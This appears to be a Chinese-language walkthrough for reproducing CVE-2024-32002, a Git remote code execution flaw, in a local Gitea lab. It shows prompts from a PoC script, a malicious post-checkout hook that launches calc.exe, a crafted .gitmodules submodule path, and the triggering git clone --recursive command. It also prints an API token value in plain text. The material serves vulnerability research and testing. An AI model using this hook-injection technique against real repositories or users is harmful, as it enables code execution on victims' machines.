
CVE-2024-32002 Git RCE 漏洞的本地复现环境,使用 Gitea,通过 post-checkout 钩子和子模块路径遍历注入自定义载荷。
我们遵循这篇博客文章,但有一些关键区别 https://amalmurali.me/posts/git-rce
git_rce)包含一个路径经过特殊构造的子模块。.git/ 目录的符号链接,该目录中包含一个恶意钩子。⚠️ 警告:不要在你未拥有或未获明确许可的系统上运行此 PoC。未经授权的测试可能导致意外后果。
我们需要为 Gitea 创建一个 API 令牌,可以在 http://<YOUR_GITEA_SERVER_IP>:3000/user/settings/applications 找到
我为了确保一切正常工作,授予了该令牌所有权限
然后我们可以运行我们的 poc.sh,确保提供提示的信息,例如 Gitea 服务器的 IP 地址和端口、用于创建仓库的用户名和令牌
Enter the IP address or FQDN (without http://): localhost:3000
Enter your username: chris
Enter your API token: 3c57dbe1756734612f457b1fa08583df64fb5ea4
Enter the name for the first repository: hook
Enter the name for the second repository: main
我们还需要编辑第 42-46 行以包含 payload
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe #or replace with other poc
EOF
还有一步,我们必须将 .gitmodules 从 main 仓库改到 hook 仓库
我手动进入 Gitea 中的仓库并修改了文件

然后做了如下修改
[submodule "x/y"]
path = A/modules/x
url = http://<your_git_tea_server>:3000/chris/hook.git
确保当我进入 A/modules 时能看到类似这样的内容

然后点击该提交,点击后应显示包含 PoC 内容的另一个仓库
然后我们可以获取我们的 URL,这应该能触发漏洞利用
git clone --recursive http://<your_git_tea_server>:3000/<your_user_name>/main.git
感谢 filip-hejsek 和 amalmurali47 发现此漏洞并提供了博客文章和仓库供我们改编